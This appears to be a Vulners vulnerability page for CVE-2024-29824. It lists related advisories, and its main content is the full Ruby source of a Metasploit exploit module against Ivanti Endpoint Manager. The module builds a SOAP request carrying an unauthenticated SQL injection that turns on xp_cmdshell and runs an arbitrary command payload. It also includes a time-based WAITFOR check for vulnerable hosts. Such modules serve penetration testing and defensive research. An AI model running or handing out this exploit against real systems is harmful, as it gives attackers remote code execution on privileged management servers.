| Reporter | Title | Published | Views | Family All 30 |
|---|---|---|---|---|
| Exploit for SQL Injection in Ivanti Endpoint_Manager | 12 Jun 202413:53 | – | githubexploit | |
| Exploit for Uncontrolled Resource Consumption in Siemens 6Bk1602-0Aa12-0Tp0_Firmware | 3 Apr 202018:47 | – | githubexploit | |
| CVE-2024-29824 | 31 May 202400:00 | – | attackerkb | |
| The vulnerability of the RecordGoodApp method in the Ivanti Endpoint Manager software for managing endpoints in information networks allows a hacker to execute arbitrary code. | 10 Jun 202400:00 | – | bdu_fstec | |
| CVE-2024-29824 | 24 May 202404:00 | – | circl | |
| Ivanti Endpoint Manager (EPM) SQL Injection Vulnerability | 2 Oct 202400:00 | – | cisa_kev | |
| CISA Adds One Known Exploited Vulnerability to Catalog | 2 Oct 202412:00 | – | cisa | |
| Ivanti EPM SQL注入漏洞 | 31 May 202400:00 | – | cnnvd | |
| Ivanti EPM SQL Injection Vulnerability | 4 Jun 202400:00 | – | cnvd | |
| CVE-2024-29824 | 31 May 202417:38 | – | cve |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
class IvantiEpmRequestError < StandardError; end
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ivanti EPM RecordGoodApp SQLi RCE',
'Description' => %q{
Ivanti Endpoint Manager (EPM) 2022 SU5 and prior are vulnerable to unauthenticated SQL injection which can be leveraged to achieve unauthenticated remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'James Horseman', # original PoC, analysis
'Christophe De La Fuente' # Metasploit module
],
'References' => [
[ 'URL', 'https://forums.ivanti.com/s/article/Security-Advisory-May-2024'],
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-24-507'],
[ 'URL', 'https://github.com/horizon3ai/CVE-2024-29824'],
[ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/'],
[ 'CVE', '2024-29824']
],
'Platform' => ['windows'],
'Privileged' => true,
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2024-05-24',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
# MS SQL logs will contain evidence of `xp_cmdshell` being used
# Fetch payload cannot be deleted while a Meterpreter session is active
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The URI of the EPM Web Services', '/']),
OptInt.new('DELAY', [ true, 'The delay to detect if the target is vulnerable using time-based SQLi in second', 5])
]
)
end
def sqli_payload(cmd)
"';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell '#{cmd.encode(xml: :text)}'--"
end
def xml_payload(sqli)
<<~XML
<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
<soap12:Body>
<UpdateStatusEvents xmlns="http://tempuri.org/">
<deviceID>string</deviceID>
<actions>
<Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
<status>GoodApp=1|md5=#{sqli}</status>
</Action>
</actions>
</UpdateStatusEvents>
</soap12:Body>
</soap12:Envelope>
XML
end
def soap_request(sqli, timeout = 20)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'WSStatusEvents', 'EventHandler.asmx'),
'method' => 'POST',
'ctype' => 'application/soap+xml; charset="utf-8"',
'data' => xml_payload(sqli)
}, timeout)
raise IvantiEpmRequestError, 'Failed to send the SOAP request' unless res
res
end
def check
print_status("Checking if the target is vulnerable using time-based SQLi (delay=#{datastore['DELAY']})")
_res, elapsed1 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:0';select 1--") }
vprint_status("Baseline query elapsed time: #{elapsed1}")
_res, elapsed2 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:#{datastore['DELAY']}';select 2--") }
vprint_status("Delayed query elapsed time: #{elapsed2}")
if elapsed2.to_i > elapsed1.to_i && elapsed2 >= datastore['DELAY']
return CheckCode::Vulnerable('SQLi executed')
else
return CheckCode::Safe('SQLi not executed')
end
rescue IvantiEpmRequestError => e
return CheckCode::Unknown(e.to_s)
end
def exploit
soap_request(sqli_payload(payload.encoded), 1)
rescue IvantiEpmRequestError
# Expecting no response if an interactive payload such as Meterpreter is used
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation